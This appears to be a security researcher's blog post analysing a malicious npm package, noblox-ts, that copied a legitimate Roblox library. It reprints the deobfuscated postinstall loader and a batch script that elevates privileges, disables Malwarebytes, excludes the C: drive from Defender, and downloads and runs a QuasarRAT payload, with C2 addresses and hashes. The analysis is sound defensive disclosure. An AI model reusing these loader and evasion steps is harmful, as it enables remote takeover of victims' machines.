Trusty is a free-to-use web app that provides data and scoring on the supply chain risk for open source packages.
Trusty is a free-to-use web app from Stacklok that analyzes data about thousands of open source packages and ranks them based on their supply chain risk. Trusty looks at factors like repo and author activity; the presence of security best practices, like artifact signing; and the presence of malicious activity, like typosquatting and starjacking.
Earlier this week, Trusty's threat analysis system, developed by Stacklok, was able to interpret the noblox-ts package as suspicious. Read on for our analysis on this package.
You can see a UI expression of the scoring for this package below in Trusty:
Starjacking is a tactic used by threat actors to misdirect users into downloading a malicious package by imitating a popular or highly-rated project. The information copied can include metadata such as the description and star rating.
Trusty ingests package provenance information, allowing the identification of anomalies around source of origin.
Confirming the starjacking and typosquatting hypotheses, we can see that the malicious package’s readme has been directly lifted from the legitimate noblox.js repository, in an attempt to masquerade as the more reputable package.
The source repository has been listed as https://github.com/noblox/noblox.js. This is a Roblox-related Node.js fork of roblox-js.
Upon reviewing the package contents, we found that the postinstall.js script contained suspicious code. As the name suggests, this script will run automatically after installation of the package. Hence the malware delivery requires no user action beyond the use of npm to install noblox-ts.
The first version of the package, uploaded 10 hours prior, contained benign code in the postinstall script. This was likely a detection evasion attempt.
We can remove the first layers of obfuscation using an automated JavaScript deobfuscation tool. Taking a look at the resulting script:
The script utilizes various obfuscation techniques to confuse readability and obscure its true purpose. These features are characteristic of well-known obfuscation frameworks such as javascript-obfuscator.
In this case, these include:
Function names consisting of repeated Chinese characters and hexadigits
Numerical variables encoded as hexadecimal
Variable names comprised of hexadigits, e.g. _0x592edc
Unused functions and junk code
Use of Immediately Invoked Function Expressions (IIFE)
Conditional logic dependent on rotating array
Anti-analysis techniques are also employed, such as overriding console methods log
, warn
, and info
, and interfering with debugging tools. We observed similar obfuscation methods with a previous JavaScript attack.
The first step we can take to improve readability is replacing the Chinese character function names. “摧毀孤獨" translates to "Destroy loneliness" in English.
Each function name here consists of this phrase repeated multiple times and suffixed with a hexadecimal number. For simplicity, we will replace these with destroy_loneliness1
through destroy_loneliness13
in the order they appear in the script.
The first part of the code consists of an immediately invoked function expression with an infinite while loop. One of the arguments passed to this function is destroy_loneliness2
, which simply returns a string array that has been truncated for brevity.
(function (_0x4a3255, _0x584081) {
const _0x592edc = _0x4a3255(); // string array from destroy_loneliness2
while (true) {
try {
const _0x39a03e = parseInt(destroy_loneliness1(596, -0x129)) / 1 + ... + parseInt(destroy_loneliness1(759, -0x46)) / 11;
if (_0x39a03e === _0x584081) { // loop ends when _0x39a03e === 882723
break;
} else {
_0x592edc.push(_0x592edc.shift()); // gets first element and pushes it to the end - rotation
}
} catch (_0x5ad9f6) {
_0x592edc.push(_0x592edc.shift());
}
}
})(destroy_loneliness2, 882723); // immediately invoked function expression
// [...]
function destroy_loneliness2() {
// string array
const _0x782d81 = [
'gUkai', 'fbUBa', "\\( *\\", 'fXXus', "\\+\\+ ", "een D", '{}.co', 'recur', 'ixQIL', '__pro',
...
'input', 'lengt', 'RWJeP', 'ZnOnu', 'bat', 'pSZfu', 'YMbey', 'GIspp', 'FxrVH', 'SxuqS'];
destroy_loneliness2 = function () {
return _0x782d81;
};
return destroy_loneliness2();
}
The loop’s exit is controlled by calling parseInt
on various values of the array _0x592edc
and applying some arithmetic of the hexadecimal constants. The array is mutated at every loop: the first element is shifted off the front of the array and pushed to the back of the array.
The array will be shuffled 109 times before this condition is satisfied.
However, this code does not relate to any further functionality in the script, and is likely intended to mislead analysis.
Ignoring further rabbit holes with meaningless and unused code, the essential functionality of the malicious script is contained within the following section:
const executeBat = async (_0x28c27a, _0x4f867a) => {
if (!fs.existsSync(_0x4f867a)) {
const _0x2ee8f4 = {
recursive: true
};
fs.mkdirSync(_0x4f867a, _0x2ee8f4);
}
const _0x4797c3 = await fetch(_0x28c27a);
const _0x2e60ae = await _0x4797c3.buffer();
fs.writeFileSync(_0x4f867a + "/WindowsApiLib.bat", _0x2e60ae);
await promisify(require("child_process").exec)(_0x4f867a + "/WindowsApiLib.bat");
};
executeBat("https://raw.githubusercontent[.]com/aspdasdksa2/callback/main/callback.bat", "C:/WindowsApi").then(async () => {
const _0x5bf6bd = {
content: "Nil, has been Deployed Sucessfully."
};
await fetch("https://discord.com/api/webhooks/", {
'method': "POST",
'headers': {
'Content-Type': "application/json"
},
'body': JSON.stringify(_0x5bf6bd) // "Nil, has been Deployed Sucessfully."
});
})["catch"](_0x1e3e00 => console.error(_0x1e3e00));
A batch script hosted on a separate user’s GitHub account will be downloaded and saved to the file path C:/WindowsApi/WindowsApiLib.bat
.
Upon successful execution of the script, it will ping the operator with a POST request over Discord WebHooks.
The second stage of the malware delivery process is a batch script WindowsApiLib.bat
, which can be seen below. It starts off with some defense evasion maneuvers, such as checking that the script is running minimized. It also checks if it is running as administrator.
@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
if not "%1"=="am_admin" (
powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"
exit /b
)
set "scriptDir=%~dp0"
tasklist /FI "IMAGENAME eq Malwarebytes.exe" 2>NUL | find /I /N "Malwarebytes.exe" > NUL
if "%ERRORLEVEL%"=="0" (
start "" "%ProgramFiles%\Malwarebytes\Anti-Malware\malwarebytes_assistant.exe" --stopservice
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/aspdasdksa2/callback/raw/main/Client-built.exe', 'C:\WindowsApi\WindowsApi.exe')"
start "" "C:\WindowsApi\WindowsApi.exe"
taskkill /IM cmd.exe
exit
) else (
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/aspdasdksa2/callback/raw/main/Client-built.exe', 'C:\WindowsApi\WindowsApi.exe')"
start "" "C:\WindowsApi\WindowsApi.exe"
taskkill /IM cmd.exe
exit
)
This firstly runs the Windows command tasklist
to search for the Malwarebytes process, and stops it if it is running.
Several further commands are then executed:
PowerShell - Add a Windows Defender exclusion for all of the C: drive
PowerShell Use the DownloadFile
cmdlet to download an EXE from the same Github repository, and save it under C:\WindowsApi\WindowsApi.exe
Execution of the payload
Taskkill
to end the cmd.exe
process
The PE saved as WindowsApi.exe
is a sample of QuasarRAT with SHA256 d2773c00a7a95b2d78807d86f07c2eea8203537d6d855c538346f2bda4067103
, first seen on VirusTotal 2024-07-04, 2 days before the malicious version of the package was uploaded to npm.
Execution of QuasarRAT allows the attacker to establish command and control over affected Windows endpoints.
Using this RAT parser GitHub - jeFF0Falltrades/rat_king_parser we were able to extract configuration information such as the C2 domains the operators used. An excerpt of the configuration is provided below.
Attribute | Value |
Version | 1.4.1 |
Hosts | 47.134.26.200:4782 193.161.193.99:23325 |
Reconnect delay | 3000 |
Directory | Microsoft-Build-Tools |
Install name | Client.exe |
Install | True |
Startup | True |
Mutex | 9cabbafb-503b-49f1-ab22-adc756455c10 |
Startup key | MS Build Tools |
Encryption key | 8B93C77AC1C58EA80A3327E9FD26246A79EF3B8E |
Tag | Test |
Shortly after discovering this package, we notified the GitHub Trust & Safety team. The package has now been removed from npm.
The noblox-ts@4.10.6
code can be reviewed in full on Stacklok’s jail repository on GitHub.
QuasarRAT C2 hosts IP:Port
47.134.26.200:4782
193.161.193.99:23325
File paths
C:/WindowsApi/WindowsApiLib.bat
C:/WindowsApi/WindowsApi.exe
PE SHA256 hashes
QuasarRAT payload
WindowsApi.exe (Client-built.exe) - d2773c00a7a95b2d78807d86f07c2eea8203537d6d855c538346f2bda4067103
Other Python infostealer samples hosted on github[.]com/aspdasdksa2/callback
creal.exe - 4835ccae0a60d615754c0244311dbc0ec3cc5ef01192be2a82d7b544c0c44b28
skuld.exe - 9b682cc0ff348ed1b216f341133c149bec1bfab33c0731099eb43a43e4eaf86a
test-mWZaT.exe - 75df2dd415ac038152cd59ce29732a3a1522c61fe242a00ff9e62fc501304b03
Poppaea McDermott
Security Researcher